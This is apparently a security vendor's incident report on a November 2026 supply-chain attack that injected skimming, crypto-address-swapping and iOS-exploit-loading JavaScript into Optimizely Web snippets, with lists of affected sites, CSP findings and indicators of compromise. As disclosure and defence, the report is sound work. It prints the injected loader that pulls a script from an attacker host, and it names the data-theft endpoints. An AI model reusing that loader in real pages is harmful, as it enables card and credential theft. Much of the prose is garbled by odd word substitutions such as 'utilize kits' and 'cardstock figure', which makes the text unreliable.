- Magecart
- DarkSword
- Coruna
- Malware
- CSP Integrity
- JS Time Machine
- JavaScript Integrity Monitoring
- Script Vault
- Script Watch
On 16 November 2026, malicious JavaScript was served to visitors of 178 organisations through the Optimizely Web experimentation platform. The catalog includes several of the most visited sites in the world: Zoom, the BBC, CNN, Salesforce, GitLab, IKEA, HSBC, Equifax, Air France-KLM, Ledger and Peacock.
The malware was a multi-purpose kit. It exchanged cryptocurrency wallet addresses for the attacker's, skimmed fee cards, stole cookies and screenshots, and on iPhones and iPads it delivered the Coruna and DarkSword iOS utilize kits. Crypto has already been stolen, alongside verified transactions to the attackers.
This is exactly the benevolent of assault Report URI is designed to detect. Our phase can acknowledge unexpected changes to trusted JavaScript, detect new scripts being loaded and disclose doubtful connections to external destinations. In this case, those signals would have exposed the malicious activity, equal although the first manuscript was being served from a trusted Optimizely domain. With an suitable CSP in implementation mode, organisations could have gone a stage additional and blocked key parts of the assault before they succeeded.
The crucial instruction current is that trusted JavaScript doesn't continually remain trustworthy. A website can be compromised through a third-party dependency without its own code or infrastructure always being breached.
Most of the malicious code has now been removed. At 21:52 UTC we established it in lone 1 of the 188 infected snippets, downward from 169 at 20:56 UTC. If your location uses Optimizely Web, or you visited any of the sites below today, peruse on.
What happened
Optimizely Web plant by having all client burden a JavaScript "snippet" from Optimizely's CDN, for example https://cdn.optimizely.com/js/6395285578973184.js. The snippet contains Optimizely's code, the customer's experiments and an optional site called Project JavaScript (projectJS): tradition code the client writes in their Optimizely dashboard, which runs on all page.
The attacker wrote their own code into the Project JavaScript of client projects, and the remainder of all snippet was untouched. The document was motionless served from cdn.optimizely.com, alongside Optimizely's certificate, from a presenter that all affected location already trusted. Here is what was added to Zoom's snippet:
"projectJS": function(){(function(){try{var s=document.createElement('script');s.src='https://1688360.cc/track.js';s.async=true;(document.head||document.documentElement).appendChild(s);}catch(e){}})();We saw three versions of the injected loader:
- A plain <script> tag pointing at https://1688360.cc/track.js (most snippets).
- The identical URL hidden in base64 alongside atob(). A hunt for "1688360.cc" won't discover it. Smartsheet's snippet was cleaned at one item and afterward re-infected alongside this version, so whoever wrote the code motionless had admission at the time.
- A complete inline copy of the payload, which runs through eval if 1688360.cc is blocked.
Some customers assist their snippet from their own domain, specified as opt.scheels.com/js/<id>.js or www.vodafone.com.au/js/<id>.js. Those were affected too, since the satisfied comes from the identical Optimizely project.
We don't cognize how the attacker got compose access to so many unrelated client projects: a compromised Optimizely system, a compromised credential alongside cross-customer access, or item else. That's for Optimizely to explain. To be clear, Optimizely's CDN served exactly what it was given; this was not a CDN cache-poisoning attack. Optimizely's own sites were affected as well: the snippets for www.optimizely.com and login.optimizely.com the two carried the code.
Timeline (UTC)
| Time | Event |
|---|---|
| Sep 17 | webshell.lol, the identical actor's injector, archetypal appears on Turkish sites through an SEO "backlink panel" script |
| Nov 09 17:52 | 5vobauua3ojpklx.icu registered (iOS exploit-kit router) |
| Nov 13 to 11-16 | Earlier wave: webshell.lol/get.js injected through Kissmetrics, StorifyMe and Minute Media scripts on sites including securitybank.com, faz.net, smh.com.au, vidaxl and foxsports.com |
| Nov 16 02:21 | Last spotless urlscan grasp of the BBC's Optimizely snippet |
| Nov 16 04:21 | First Optimizely injection seen (BBC snippet loading webshell.lol) |
| 04:28 to 05:23 | 1688360.cc certificates issued; domain registered at 05:23 |
| 08:10 | First build of track.js (crypto clipper) |
| 08:28 | 1688360.cc/track.js archetypal seen on bbc.com |
| 11:20 | Zoom's snippet modified (its Last-Modified header) |
| 13:03 | Attacker sweeps taken crypto to exchanges |
| 13:43 | Card skimmer added to track.js |
| 16:38 | eil786npto9u5bq.icu registered (second iOS router) |
| 17:13 to 17:57 | Second iOS presenter added; Coruna iframe injected into all iOS 18.6-or-earlier visit |
| 19:24 to 19:59 | Our sweep: 186 of 1,611 Optimizely snippets infected |
| ~20:40 to 21:10 | Mass clean-up (Ledger 20:41, Smartsheet 20:56, BBC 21:07) |
| 21:52 | 1 of 188 snippets motionless infected (TalkTalk) |
The payload was rebuilt 26 times during the day. The attacker added features, and added wallets but never removed any.
What the payload does
Every visitant received the identical script, track.js, and all part of it was energetic at once. What a visitant informed depended on their equipment and what they did on the page.
1. Crypto location swapping (already stealing money)
The manuscript finds any valid wallet location (BTC, ETH and EVM chains, TRON, Solana, TON, Litecoin, Bitcoin Cash, Dogecoin) and replaces it alongside among the attacker's. It validates checksums so it lone swaps genuine addresses. It swaps them in:
- page text, form fields, links and images;
- the clipboard, on copy and through navigator.clipboard;
- outgoing fetch/XHR requests, window.open, navigation and the iOS portion sheet.
It re-scans the leaf whenever it changes. Copy an location from any affected page, or from anyplace alternatively during that tab is open, and you may paste the attacker's.
2. Card skimming
Added at 13:43 UTC. The manuscript watches form submissions and all fetch/XHR POST for a cardstock figure (Luhn-checked), expiry date and CVV. When it has all three, it sends them to https://1688360.cc/card.php alongside navigator.sendBeacon. Cards entered in hosted fee iframes (Stripe, Adyen and similar) were out of its reach. Cards typed into a site's own form sectors were not.
3. Cookie and screenshot theft
When it swaps an location next to wallet or fee wording, it sends the following to https://1688360.cc/hit.php:
- the leaf URL;
- document.cookie (cookies not marked HttpOnly);
- the first addresses it replaced;
- a screenshot of the page, rendered alongside html2canvas.
4. iOS utilize kits: Coruna and DarkSword
On iPhones and iPads the manuscript loads boot.js from 5vobauua3ojpklx.icu and eil786npto9u5bq.icu. It says the iOS type and loads an utilize sequence in a hidden iframe:
| iOS version | Chain |
|---|---|
| 13 to 17 | Coruna (/A8/, affirmative a straightforward Coruna loader at /JIUJIU888/index.js) |
| 18.x | DarkSword (/B9/, /D11/, /D12/) |
| 26 | Separate sequence (/C10/); currently lone fingerprints the device |
The Coruna loader is byte-identical to a example we analysed in October from a distinct campaign. The kit's own comments say iOS 18.7.3 and later, and 26.3 and later, are patched. Pages on iOS 18.6 or before reload all 60 seconds to retry the exploit, which is a apparent symptom.

Money taken so far
As of 19:25 UTC on 16 November, the attacker's wallets had received concerning $7,040, all inside approximately nine hours on the 16th:
| Wallet | Received | ≈ USD |
|---|---|---|
| BTC 19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW | 0.08298 BTC (4 tx), unspent | $5,380 |
| LTC ltc1q3wp7g6ds0ggg6fl6kncpa4sepn0q3qfacgred5 | 17.02 LTC (3 tx) | $762 |
| TRON THvs6p56XkUiMkJeSc51cAP64u2RsTYqxa | 662.9 USDT + 184 TRX | $719 |
| ETH 0xC4026b06D82b0F0B363eda0642D61CfbDc17884e | 0.055 ETH | $100 |
| BSC (same 0x address) | 82 USDT | $82 |
Funds were swept out at 13:03 to 13:05 UTC. The USDC on Ethereum went to a HitBTC deposit address. The TRON wallet has been in use since March 2026, so this performer was energetic lengthy before this campaign. We cannot see how many cards or cookies reached 1688360.cc.
Who was affected
We fetched 1,611 distinct Optimizely snippets, established mostly through our own crawl data, and checked all one for the malicious code. 188 snippets belonging to 178 organisations were infected. We kept a copy of all infected file, alongside alongside its reply headers, SHA-256 hash and fetch period as evidence. The genuine figure is apt higher as we could lone inspect snippets we could discover in time.
By sector
| Sector | Orgs | Examples |
|---|---|---|
| Banking & Finance | 32 | Paychex, HSBC US, Equifax, SmartAsset, HSBC Hong Kong |
| Technology & SaaS | 23 | Zoom, Bitly, Salesforce, GitLab, Optimizely |
| Retail & Fashion | 20 | IKEA, ASOS, Mattel, American Eagle, Scheels |
| Streaming & Entertainment | 12 | Peacock, D&D Beyond, Wizards of the Coast, NOW TV, Zattoo |
| News & Media | 10 | CNN, BBC, Fox News, NPR, CTV News |
| Airlines & Travel | 9 | Alaska Airlines / Hawaiian Airlines, Transavia, Air France-KLM, KLM Netherlands, Trafalgar |
| Healthcare & Pharma | 8 | Invisalign, Takeda, Covetrus, iTero (Align), Covetrus Pharmacy |
| Industrial & Manufacturing | 8 | Fluke, eMaint (Fluke), Fluke Networks, Vaillant Germany, Fluke Process Instruments |
| Telecoms | 7 | Virgin Media, Virgin Media O2, Vodafone Australia, O2, TPG Telecom |
| Crypto & Trading | 6 | Ledger, IG, OANDA / Coinpass, interactive investor, TMS Brokers |
| Insurance | 6 | Asurion / uBreakiFix, Mutual of Omaha, Admiral, Securian Financial, eRenterPlan |
| Property & Real Estate | 6 | Buildium (managebuilding.com), Loft Living apartments, Buildium, HireAHelper, Flytte.no (and sister difference sites) |
| Food & Hospitality | 5 | Restaurant ordering sites (order.online), Heineken, Home Chef, Starbucks Canada, Cinnabon |
| Home & Smart Home | 5 | Resideo, Honeywell Home, myQ (Chamberlain), Chamberlain, First Alert |
| Nonprofit & Civic | 4 | Change.org, ASPCA, UNICEF USA, DonorsChoose |
| Gambling | 4 | Betsson, PokerStars, tombola, Betfred |
| Professional Services | 4 | Freshfields, CohnReznick, Baringa, Cro Metrics |
| Logistics & Shipping | 3 | ShipStation / ShipEngine, Stamps.com, ShipEngine |
| Automotive | 3 | Lucid Motors, O'Brien Glass, Chevrolet dealer network (Bill Rapp and others) |
| Education | 3 | Walden University, Perlego, Chamberlain University |
Full list
Ranked by Tranco stance inside all field and the position at 21:52 UTC: every snippet apart from TalkTalk's had been cleaned.
Banking & Finance (32)
| Organisation | Domains |
|---|---|
| Paychex | www.paychex.com |
| HSBC US | www.us.hsbc.com |
| Equifax | equifax.com, my.equifax.com, signin.my.equifax.com, www.equifax.com |
| SmartAsset | smartasset.com |
| HSBC Hong Kong | www.hsbc.com.hk |
| ABN AMRO | www.abnamro.de, www.abnamro.nl, www.abnamromeespierson.be |
| TaxAct | www.taxact.com |
| HSBC Mexico | www.hsbc.com.mx |
| HSBC Singapore | www.insurance.hsbc.com.sg |
| NetCredit | www.netcredit.com |
| Associated Bank | www.associatedbank.com |
| S-Pankki | www.s-pankki.fi |
| Equifax Canada | my.equifax.ca, www.equifax.ca |
| Equifax UK | equifax.co.uk |
| The Work Number (Equifax) | theworknumber.com |
| Funding Circle | fundingcircle.com, www.fundingcircle.com |
| HSBC Australia | www.hsbc.com.au |
| CashNetUSA | www.cashnetusa.com |
| OnDeck | www.ondeck.com |
| ICS Cards | www.icscards.nl |
| HSBC UAE | www.hsbc.ae |
| HSBC Malaysia | www.hsbc.com.my, www.hsbcamanah.com.my |
| Rest Super | rest.com.au |
| HSBC Taiwan | www.hsbc.com.tw |
| HSBC Vietnam | www.hsbc.com.vn |
| HSBC Egypt | www.hsbc.com.eg |
| HSBC Philippines | www.hsbc.com.ph |
| SmartAdvisor Match (SmartAsset) | smartadvisormatch.com |
| Compare Club | compareclub.com.au |
| ABN AMRO Lease | abnamrolease.com |
| Energy Scout | energyscout.com.au |
| Hang Seng Investment | www.hangsenginvestment.com |
Technology & SaaS (23)
| Organisation | Domains |
|---|---|
| Zoom | www.zoom.com, zoom.com, zoom.us |
| Bitly | arcg.is, bit.ly, bitly.com |
| Salesforce | evergage.com, exacttarget.com, pardot.com, salesforce-scrt.com +4 more |
| GitLab | about.gitlab.com, gitlab.com |
| Optimizely | home.optimizely.com, login.optimizely.com, optimizely.com, prep.login.optimizely.com +1 more |
| Mixpanel | mixpanel.com |
| Typeform | typeform.com, www.typeform.com |
| InMotion Hosting | www.inmotionhosting.com |
| Wasabi | wasabi.com, wasabisys.com |
| Perforce / Zend / Puppet | www.perforce.com, www.puppet.com, zend.com |
| Tableau | www.tableau.com |
| Hootsuite | hootsuite.com, www.hootsuite.com |
| Smartsheet | de.smartsheet.com, es.smartsheet.com, fr.smartsheet.com, help.smartsheet.com +2 more |
| MuleSoft | mulesoft.com, www.mulesoft.com |
| Thales / Imperva | community-cybersec.thalesgroup.com, imperva.com |
| Tricentis | www.tricentis.com |
| Web Hosting Hub | www.webhostinghub.com |
| QR Code Generator | login.qr-code-generator.com, www.qr-code-generator.com |
| ServiceChannel | preview.servicechannel.com, servicechannel.com, servicechannel.us |
| Brandfolder | brandfolder.com |
| Intelex | www.intelex.com |
| Enverus | www.enverus.com |
| Accruent | www.accruent.com |
Retail & Fashion (20)
| Organisation | Domains |
|---|---|
| IKEA | client.home-design.ikea.com |
| ASOS | asos.com |
| Mattel | creations.mattel.com |
| American Eagle | www.ae.com |
| Scheels | scheels.com, www.scheels.com |
| Ariat | www.ariat.com |
| American Girl | www.americangirl.com |
| StackSocial | www.stacksocial.com |
| Crocs India | www.crocs.in |
| Levi's Japan | levi.jp |
| Todd Snyder | www.toddsnyder.com |
| Levi's Indonesia | levi.co.id |
| Just Russel | app.brt-4076-credits-in-order-summary.justrussel.de, app.rph-487-customer-can-switch-their-pet-to.justrussel.be, app.rph-487-customer-can-switch-their-pet-to.justrussel.com, app.rph-487-customer-can-switch-their-pet-to.justrussel.fr +1 more |
| Loloi Rugs | www.loloirugs.com |
| Levi's Australia | levis.com.au |
| Levi's Malaysia | levi.com.my |
| Levi's Philippines | levi.com.ph |
| Levi's Singapore | levi.com.sg |
| Levi's Korea | levi.co.kr |
| Levi's New Zealand | levis.co.nz |
Streaming & Entertainment (12)
| Organisation | Domains |
|---|---|
| Peacock | peacocktv.com, www.peacocktv.com |
| D&D Beyond | dndbeyond.com, www.dndbeyond.com |
| Wizards of the Coast | secretlair.wizards.com |
| NOW TV | nowtv.com, www.nowtv.com |
| Zattoo | zattoo.com |
| Crave | www.crave.ca |
| Starz | www.starz.com |
| SkyShowtime | www.skyshowtime.com |
| Bravo | www.bravotv.com |
| SeaWorld | buschgardens.com, seaworld.com |
| WOW (Sky Deutschland) | www.wowtv.de |
| NOW Italia | www.nowtv.it |
News & Media (10)
| Organisation | Domains |
|---|---|
| CNN | cnn.com, edition.cnn.com, us.cnn.com, www.cnn.com |
| BBC | www.bbc.co.uk, www.bbc.com |
| Fox News | www.foxnews.com |
| NPR | legacy-s1.npr.org, legacy.stage.npr.org, media.stage.npr.org, s-s1-origin.npr.org |
| CTV News | www.ctvnews.ca |
| Fox Sports | foxsports.com |
| BNN Bloomberg / CP24 | www.bnnbloomberg.ca, www.cp24.com |
| TSN | www.tsn.ca |
| Top Gear | www.topgear.com |
| BBC Earth | www.bbcearth.com |
Airlines & Travel (9)
| Organisation | Domains |
|---|---|
| Alaska Airlines / Hawaiian Airlines | www.alaskaair.com, www.hawaiianairlines.com |
| Transavia | www.transavia.com |
| Air France-KLM | liberia.klm.com, russia.airfrance.com, www.klm.be, wwws.airfrance.fr |
| KLM Netherlands | deal.klm.nl |
| Trafalgar | www.trafalgar.com |
| Contiki | www.contiki.com |
| Insight Vacations | www.insightvacations.com |
| The Travel Corporation | uat.costco.ttc.com |
| Costsaver | www.costsavertour.com |
Healthcare & Pharma (8)
| Organisation | Domains |
|---|---|
| Invisalign | invisalign.com, www.invisalign.com |
| Takeda | www.takeda.com |
| Covetrus | covetrus.com |
| iTero (Align) | itero.com |
| Covetrus Pharmacy | eastfieldveterinary.covetruspharmacy.com |
| myCovetrus | www.mycovetrus.com |
| RaySafe (Fluke) | www.raysafe.com |
| Takeda Oncology | www.takedaoncology.com |
Industrial & Manufacturing (8)
| Organisation | Domains |
|---|---|
| Fluke | fluke.com |
| eMaint (Fluke) | www.emaint.com |
| Fluke Networks | www.flukenetworks.com |
| Vaillant Germany | www.vaillant.de |
| Fluke Process Instruments | www.flukeprocessinstruments.com |
| Fluke Biomedical | www.flukebiomedical.com |
| Landauer | www.landauer.com |
| Vaillant Spain | www.vaillant.es |
Telecoms (7)
| Organisation | Domains |
|---|---|
| Virgin Media | virginmedia.com, www.virginmedia.com |
| Virgin Media O2 | virginmediao2.co.uk, www.virginmediao2.co.uk |
| Vodafone Australia | www.vodafone.com.au |
| O2 | o2.co.uk, www.o2.co.uk |
| TPG Telecom | www.tpg.com.au |
| Mint Mobile | www.mintmobile.com |
| TalkTalk | talktalk.co.uk, www.talktalk.co.uk |
Crypto & Trading (6)
| Organisation | Domains |
|---|---|
| Ledger | ledger.com, www.ledger.com |
| IG | www.ig.com |
| OANDA / Coinpass | oanda.com, www.oanda.com |
| interactive investor | www.ii.co.uk |
| TMS Brokers | www.tms.pl |
| Betashares | www.betashares.com.au |
Insurance (6)
| Organisation | Domains |
|---|---|
| Asurion / uBreakiFix | www.asurion.com, www.ubreakifix.com |
| Mutual of Omaha | moocat.mutualofomaha.com, www.mutualofomaha.com |
| Admiral | www.admiral.com |
| Securian Financial | www.securian.com |
| eRenterPlan | erenterplan.com |
| AKA (Danish unemployment fund) | www.aka.dk |
Property & Real Estate (6)
| Organisation | Domains |
|---|---|
| Buildium (managebuilding.com) | headwayassetsllc.managebuilding.com |
| Loft Living apartments | theapartmentsatkeltonstation.loftliving.com |
| Buildium | www.buildium.com |
| HireAHelper | qa2.hireahelper.com |
| Flytte.no (and sister difference sites) | flytte.no |
| MovingPlace | unionplus-qa4.movingplace.com |
Food & Hospitality (5)
| Organisation | Domains |
|---|---|
| Restaurant ordering sites (order.online) | order.online |
| Heineken | www.heineken.com |
| Home Chef | www.homechef.com |
| Starbucks Canada | www.starbucks.ca |
| Cinnabon | www.cinnabon.com |
Home & Smart Home (5)
| Organisation | Domains |
|---|---|
| Resideo | resideo.com, www.resideo.com |
| Honeywell Home | www.honeywellhome.com |
| myQ (Chamberlain) | www.myq.com |
| Chamberlain | www.chamberlain.com |
| First Alert | www.firstalert.com |
Nonprofit & Civic (4)
| Organisation | Domains |
|---|---|
| Change.org | www.change.org |
| ASPCA | aspca.org, dev-cloudflare.aspca.org, secure.aspca.org, www.aspca.org |
| UNICEF USA | www.unicefusa.org |
| DonorsChoose | www.donorschoose.org |
Gambling (4)
| Organisation | Domains |
|---|---|
| Betsson | betsson.bet.ar, www.betsson.co, www.betsson.com, www.betsson1002.com |
| PokerStars | www.pokerstars.com, www.pokerstars.de, www.pokerstars.fr, www.pokerstars.pt +1 more |
| tombola | tombola.co.uk, tombolaarcade.co.uk, www.tombola.co.uk, www.tombola.it +1 more |
| Betfred | www.betfred.com |
Professional Services (4)
| Organisation | Domains |
|---|---|
| Freshfields | www.freshfields.com |
| CohnReznick | www.cohnreznick.com |
| Baringa | www.baringa.com |
| Cro Metrics | crometrics.com |
Logistics & Shipping (3)
| Organisation | Domains |
|---|---|
| ShipStation / ShipEngine | shipstation.com, www.shipstation.com |
| Stamps.com | www.stamps.com |
| ShipEngine | www.shipengine.com |
Automotive (3)
| Organisation | Domains |
|---|---|
| Lucid Motors | lucidmotors.com |
| O'Brien Glass | www.obrien.com.au |
| Chevrolet dealer network (Bill Rapp and others) | www.billrappchevy.com |
Education (3)
| Organisation | Domains |
|---|---|
| Walden University | www.waldenu.edu |
| Perlego | www.perlego.com |
| Chamberlain University | www.chamberlain.edu |
The before webshell.lol wave, through Kissmetrics, StorifyMe and Minute Media, affected another sites and isn't included above.
How Report URI would have detected, or equal prevented, this attack
Every one of these needs lone a CSP in Report-Only mode, so nothing on the location breaks:
| Product | What it would have flagged |
|---|---|
| Script Watch | A new manuscript dependency on your site: https://1688360.cc/track.js, followed by the .icu iOS routers. |
| Data Watch | New data destinations: 1688360.cc/hit.php and 1688360.cc/card.php. |
| Frame Watch | A new example source: eil786npto9u5bq.icu, the exploit-kit iframe. |
| CSP Integrity + JS Time Machine + Script Vault | Your Optimizely snippet's fingerprint changing, affirmative a brand-new manuscript alongside no matching known file. The JS Time Machine shows whenever the new type archetypal appeared and how lengthy it was served. |
| Threat Intelligence | Reports naming 5vobauua3ojpklx.icu and webshell.lol are already flagged as IoCs, as are 1688360.cc and the another hosts below formerly they were added. |
It's imaginable to go equal additional and deploy a CSP that could actively obstacle these attacks and forestall any data breach happening. The websites affected by this assault weren't necessarily operating susceptible code of their own, they were loading JavaScript from a provider they trusted, and that rely was exploited. This is why monitoring what runs in your visitors' browsers is so important. Report URI gives organisations the visibility to detect whenever trusted requirements alter or behave unexpectedly, and the tools to assistance enforce policies that forestall malicious scripts and connections from succeeding.
Did Content Security Policy help?
We crawled 256 of the affected organisations' own hosts and evaluated their CSP against what this payload needs:
- Load track.js from 1688360.cc.
- Or run the inline fallback, which needs 'unsafe-eval' or 'unsafe-inline'.
- Send taken data to 1688360.cc (connect-src).
- Load the iOS kit (script-src, frame-src).
| Result | Organisations |
|---|---|
| No CSP at all | 68 |
| CSP allowed the payload and the data theft | 50 |
| Payload ran, but connect-src blocked the data theft (the location swapping motionless worked) | 17 |
| Payload blocked | 24 (15%) |
Allowing cdn.optimizely.com was never going to help. The malicious code arrived from the trusted presenter itself. What divided the 24 protected sites from the remainder was a restrictive script-src. A location that lists lone the hosts it needs blocks 1688360.cc. Two average settings let it direct through:
- 'strict-dynamic': any manuscript the trusted Optimizely snippet inserts is trusted too.
- 'unsafe-eval', which Optimizely's own records tells customers to allow: the inline-fallback type ran through eval equal anywhere track.js was blocked. That is what happened at HSBC. Its CSP blocked track.js and the data theft, but the inline copy motionless ran.
connect-src matters. The 17 "partial" sites blocked card, biscuit and screenshot theft since they restrict anywhere the leaf can dispatch data. That doesn't halt location swapping, which happens inner the page.
What to do now
If your location uses Optimizely Web:
- Open all project's Project JavaScript and all experiment's tradition code. Look for 1688360.cc, atob( and any manuscript you didn't write.
- Review who and what has compose admission to your Optimizely document (users, API tokens, integrations) and rotate credentials.
- If you have cardstock sectors in your own forms, treat cards entered on 16 November as possibly exposed.
- Treat any meeting tokens or secrets in non-HttpOnly cookies as exposed, and rotate them.
- Deploy a CSP. Restrict connect-src, evade 'unsafe-eval' anywhere you can, and rotate on reporting.
- Consider if you need to communicate to your customers concerning having served them malware.
If you visited an affected location on 16 November:
- Update your iPhone or iPad to iOS 18.7.3 or later, or iOS 26.3 or later.
- Check any crypto transfer you made. If the location you pasted doesn't equivalent the one you meant to pay, it may have been swapped.
- Watch your cardstock statements if you paid by cardstock on an affected site.
Indicators of compromise
All of these domains are attacker-owned; obstacle them including subdomains.
| Indicator | Role |
|---|---|
| 1688360.cc | C2: track.js, card.php, hit.php, html2canvas.min.js (136.113.106.136) |
| 5vobauua3ojpklx.icu | iOS router boot.js (34.96.213.201) |
| eil786npto9u5bq.icu | iOS router, Coruna and iOS 26 pages (34.87.36.58) |
| l7bcsnwc7nzr3uo.icu | Coruna telemetry, POST /api/iptj |
| webshell.lol | Injector get.js (earlier wave) |
| linkforge.cc | SEO-panel manuscript carrying the injector |
| je4ft3gn8vxudum.icu, q1ls1ho9x7wsxlu.icu, ios-hack.icu | Fallback C2s hard-coded in boot.js |
| p55abnw2pnsz0bo.icu, 1y69gy2mdzaltz1.icu, gm38duxoihbmy5o.icu | Same certificates and IPs as the kit |
| window._k7, window.__k7b | Global markers set by the payload |
| data-channel-code="02111110" | Script-tag trait on the iOS loader |
| BIGNIAO | Coruna telemetry conduit code |
| 814a963c0da480e2449d9b6664480156e1cd6d731014117401bf635badec3a0f | SHA-256, track.js (17:13 build) |
| f7b84b9a94f749f8ced3f0112d0a66894e8bbc3b4aa5592021d1b8976a9bad40 | SHA-256, track.js (latest build, 17:57) |
Attacker wallets:
BTC 19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW
ETH/EVM 0xC4026b06D82b0F0B363eda0642D61CfbDc17884e
TRON THvs6p56XkUiMkJeSc51cAP64u2RsTYqxa
SOL FVtL8NMYS9PA1v3HE67XUGCtGA9JaZUvqav2fU2LrV5n
TON UQAgM1VqSZQiJLSG5w-ovurq5CZdxLEK3_7CMmwALTA5e09p
LTC ltc1q3wp7g6ds0ggg6fl6kncpa4sepn0q3qfacgred5
BCH qzkaaf8n6grmpr0d9lx8xutn3r9lk722f566hhpe58
DOGE DBEGrxRF7KMSuhTS4c1MFviStU6efdMnu5
We keep an archive of all infected snippet alongside hashes and timestamps, and can portion it alongside affected organisations and CERTs on request. During investigation and investigation, formerly we were assured that Optimizely was the source, we began efforts to attain out via assorted channels and provision the complete details. At the period of publication, we have not had any response.